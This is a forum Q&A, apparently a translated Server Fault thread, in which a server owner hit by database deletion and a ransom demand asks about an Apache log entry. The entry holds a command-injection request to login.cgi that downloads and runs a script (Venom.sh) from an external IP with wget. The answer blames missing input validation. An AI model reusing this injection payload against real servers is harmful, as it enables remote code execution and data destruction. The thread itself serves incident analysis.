![黑客如何使用 Apache2 服务器上的 CGI 脚本入侵并删除数据库](https://linux22.com/image/746531/%E9%BB%91%E5%AE%A2%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%20Apache2%20%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E7%9A%84%20CGI%20%E8%84%9A%E6%9C%AC%E5%85%A5%E4%BE%B5%E5%B9%B6%E5%88%A0%E9%99%A4%E6%95%B0%E6%8D%AE%E5%BA%93.png)
今天我的一台服务器被黑客入侵,黑客删除了我的应用数据库。为了恢复,他们要求用比特币支付费用。
好吧,我开始调查 Apache2 日志,发现了很多可疑的访问,其中一个引起了我的关注。
我在这里想问一下,这个 URN 是如何让黑客获得下载并执行恶意脚本的权限的。
我们如何才能阻止此类事情再次发生?
156.220.214.35 - - [23/Dec/2019:00:06:35 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 0 "-" "Hakai/2.0"
如果你要执行上述 URN,请务必小心
答案1
简而言之如果有效的话:您的(库存)脚本没有执行正确的输入验证,这允许注入和执行任意命令和代码。
这允许攻击者制作特定的请求,例如下载代码(请求curl
)并执行该代码(我通常希望日志中有第二个请求来运行下载的代码)
您的日志包含错误响应(400 状态代码)而不是成功的 200 响应,这一事实可能表明这不是您被黑客入侵的方式,攻击者可能使用了不同的条目。